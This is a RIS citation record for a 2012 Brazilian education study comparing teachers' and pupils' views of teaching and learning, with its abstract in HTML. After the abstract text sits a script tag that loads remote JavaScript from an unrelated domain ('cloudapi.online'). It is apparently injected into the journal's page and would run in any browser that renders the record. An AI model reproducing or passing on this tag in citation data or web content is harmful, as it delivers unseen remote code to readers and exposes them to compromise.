TY - JOUR AU - Osti, Andreia AU - Brenelli, Rosely Palermo PY - 2012/05/21 Y2 - 2024/03/28 TI - Análise comparativa das representações de alunos e professores sobre as relações entre ensino e aprendizagem JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 14 IS - 1 SE - Pesquisa DO - 10.20396/etd.v14i1.1258 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1258 SP - 363-385 AB - <p><span style="font-family: Times New Roman; font-size: small;"> </span><span style="font-size: 11pt;"><span style="font-family: Times New Roman;">Esta pesquisa teve como objetivo identificar e comparar as representações de professores e de seus respectivos alunos (com e sem dificuldade de aprendizagem) sobre o processo de ensino e aprendizagem. Buscamos verificar em quais aspectos as representações de alunos e professores se correspondem e se elas se diferenciam entre alunos com e sem dificuldades de aprendizagem. A coleta de dados foi organizada por meio de uma entrevista semiestruturada, contendo 15 questões abertas para professores e alunos. Participaram deste estudo 20 professores e 40 alunos (sendo 20 com dificuldade e 20 sem dificuldade de aprendizagem) do 5º ano do Ensino Fundamental da rede municipal de uma cidade da região Metropolitana de Campinas. As respostas das entrevistas foram categorizadas e analisadas através do teste exato de Fisher, Qui-Quadrado e de Proporções. O nível de confiança foi de 95%. Os resultados demonstraram que professores e alunos apresentam uma visão parcial dos fatores envolvidos no processo de ensino e aprendizagem. O aprender, tanto para professores quanto para alunos, é sinônimo de ausência de erros, sendo um processo individual e não social. Professores e alunos sem dificuldades representam positivamente o ambiente da sala de aula, diferentemente dos alunos com dificuldades. <strong style="mso-bidi-font-weight: normal;"></strong></span></span></p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -